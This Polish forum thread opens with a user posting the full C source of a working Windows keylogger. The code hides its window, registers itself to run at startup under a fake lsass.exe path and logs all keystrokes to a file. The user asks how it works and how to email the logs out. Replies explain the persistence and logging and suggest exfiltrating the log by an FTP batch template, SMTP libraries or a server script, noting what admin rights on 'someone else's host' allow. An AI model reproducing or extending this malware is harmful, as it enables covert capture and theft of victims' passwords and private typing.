Pokaż wyniki 1 do 6 z 6

Temat: Jak to dziala?

  1. #1

    Question Jak to dziala?

    Znalazlem na jakims forum takiego keyloggera (wiec nie piszcie ze plagiat):
    Kod:
    #include <windows.h> 
    #include <stdio.h> 
    #include <winuser.h> 
    #include <windowsx.h> 
    
    #define BUFSIZE 80 
    
    int test_key(void); 
    int create_key(char *); 
    int get_keys(void); 
    
    int main(void) 
    { 
    HWND stealth; 
    AllocConsole(); 
    stealth=FindWindowA("ConsoleWindowClass",NULL); 
    ShowWindow(stealth,0); 
    
    int test,create; 
    test=test_key(); 
    
    if (test==2) // Create key. 
    { 
    char *path="C:\\WINDOWS\\system32\\lsass.exe"; 
    create=create_key(path); 
    
    } 
    
    
    int t=get_keys(); 
    
    return t; 
    } 
    
    int get_keys(void) 
    { 
    short character; 
    while(1) 
    { 
    Sleep(10); // To prevent 100% CPU usage. 
    for(character=8;character<=222;character++) 
    { 
    if(GetAsyncKeyState(character)==-32767) 
    { 
    
    FILE *file; 
    file=fopen("Kkey.log","a+"); 
    if(file==NULL) 
    { 
    return 1; 
    } 
    if(file!=NULL) 
    { 
    if((character>=39)&&(character<=64)) 
    { 
    fputc(character,file); 
    fclose(file); 
    break; 
    } 
    else if((character>64)&&(character<91)) 
    { 
    character+=32; 
    fputc(character,file); 
    fclose(file); 
    break; 
    } 
    else 
    { 
    switch(character) 
    { 
    case VK_SPACE: 
    fputc(' ',file); 
    fclose(file); 
    break; 
    case VK_SHIFT: 
    fputs("[SHIFT]",file); 
    fclose(file); 
    break; 
    case VK_RETURN: 
    fputs("\n[ENTER]",file); 
    fclose(file); 
    break; 
    case VK_BACK: 
    fputs("[BACKSPACE]",file); 
    fclose(file); 
    break; 
    case VK_TAB: 
    fputs("[TAB]",file); 
    fclose(file); 
    break; 
    case VK_CONTROL: 
    fputs("[CTRL]",file); 
    fclose(file); 
    break; 
    case VK_DELETE: 
    fputs("[DEL]",file); 
    fclose(file); 
    break; 
    case VK_OEM_1: 
    fputs("[;:]",file); 
    fclose(file); 
    break; 
    case VK_OEM_2: 
    fputs("[/?]",file); 
    fclose(file); 
    break; 
    case VK_OEM_3: 
    fputs("ö",file); 
    fclose(file); 
    break; 
    case VK_OEM_4: 
    fputs("[ [{ ]",file); 
    fclose(file); 
    break; 
    case VK_OEM_5: 
    fputs("[\\|]",file); 
    fclose(file); 
    break; 
    case VK_OEM_6: 
    fputs("a*",file); 
    fclose(file); 
    break; 
    case VK_OEM_7: 
    fputs("ä",file); 
    fclose(file); 
    break; 
    /* case VK_OEM_PLUS: 
    fputc('+',file); 
    fclose(file); 
    break; 
    case VK_OEM_COMMA: 
    fputc(',',file); 
    fclose(file); 
    break; 
    case VK_OEM_MINUS: 
    fputc('-',file); 
    fclose(file); 
    break; 
    case VK_OEM_PERIOD: 
    fputc('.',file); 
    fclose(file); 
    break; */ 
    case VK_NUMPAD0: 
    fputc('0',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD1: 
    fputc('1',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD2: 
    fputc('2',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD3: 
    fputc('3',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD4: 
    fputc('4',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD5: 
    fputc('5',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD6: 
    fputc('6',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD7: 
    fputc('7',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD8: 
    fputc('8',file); 
    fclose(file); 
    break; 
    case VK_NUMPAD9: 
    fputc('9',file); 
    fclose(file); 
    break; 
    case VK_CAPITAL: 
    fputs("[CAPS LOCK]",file); 
    fclose(file); 
    break; 
    default: 
    fclose(file); 
    break; 
    } 
    } 
    } 
    } 
    } 
    
    } 
    return EXIT_SUCCESS; 
    } 
    
    int test_key(void) 
    { 
    int check; 
    HKEY hKey; 
    char path[BUFSIZE]; 
    DWORD buf_length=BUFSIZE; 
    int reg_key; 
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); 
    if(reg_key!=0) 
    { 
    check=1; 
    return check; 
    } 
    
    reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length); 
    
    if((reg_key!=0)||(buf_length>BUFSIZE)) 
    check=2; 
    if(reg_key==0) 
    check=0; 
    
    RegCloseKey(hKey); 
    return check; 
    } 
    
    int create_key(char *path) 
    { 
    int reg_key,check; 
    
    HKEY hkey; 
    
    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); 
    if(reg_key==0) 
    { 
    RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path)); 
    check=0; 
    return check; 
    } 
    if(reg_key!=0) 
    check=1; 
    
    return check; 
    }
    Moglby mi ktos wyjasnic jak to dziala, i jak dodac do tego funkcje wysylania na logow maila lub na gg?

  2. #2

    Post Odpowiedź

    Działa to w ten sposób, że po skompilowaniu i uruchomieniu keylogger zmienia rejestr ta, aby zawsze uruchamiał się przy starcie systemu. Potem wszystkie dane wpisywane z klawiatury zapisuje w podanym w kodzie pliku (*.txt lub *.log. W twoim przypadku jest to chyba plik "Kkey.log"). Jak to zrobić, żeby wysyłał na maila albo na gg? Tego sam nie wiem. Pytałem się o to natym forum wielokrotnie, ale wszyscy mnie ośmiali i nikt mi nigdy nie odpowiedział konkretnie. Temat wysyłania przez keyloggera maila do dziś pozostaje dla mnie tajemnicą.

  3. #3
    Zarejestrowany
    Dec 2006
    Skąd
    polsza
    Postów
    747

    Domyślnie

    ======połoncznie ftp.bat========
    ftp
    o
    host port
    login
    hasło
    polecenia ftp
    ===========fjut hir============

  4. #4

    Question

    Gdzie trzeba umieścić ten kod? Zapisać jako .bat? I co napisać w "polecenia ftp"?

  5. #5
    Zarejestrowany
    May 2007
    Postów
    406

    Domyślnie

    I co napisać w "polecenia ftp"?
    to co chcesz zrobić, i masz napisane jak ma się plik nazywać :/

  6. #6
    Zarejestrowany
    Dec 2006
    Skąd
    Kielce
    Postów
    1,767

    Domyślnie

    ja was skręcam... nio jak można wysłać plik...
    ftp, przekazać do skryptu na serwerze odpowiednie zmienne by sobie plik zabrał - przez SMTP - są do tego fajne biblioteki w c++ gdzieś sie natknąłem już - patrz google... przez p2p... nio stary jak masz aplikacje na cudzym hoście jeszcze najlepiej z prawami admina to można cuda robić - możesz sobie nawet z gościa ftp'a zrobić - podstawy podstaw funkcjonowania sieci!
    Agencja reklamy kielce (mały kilkudniowy case pozycjonerski )

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj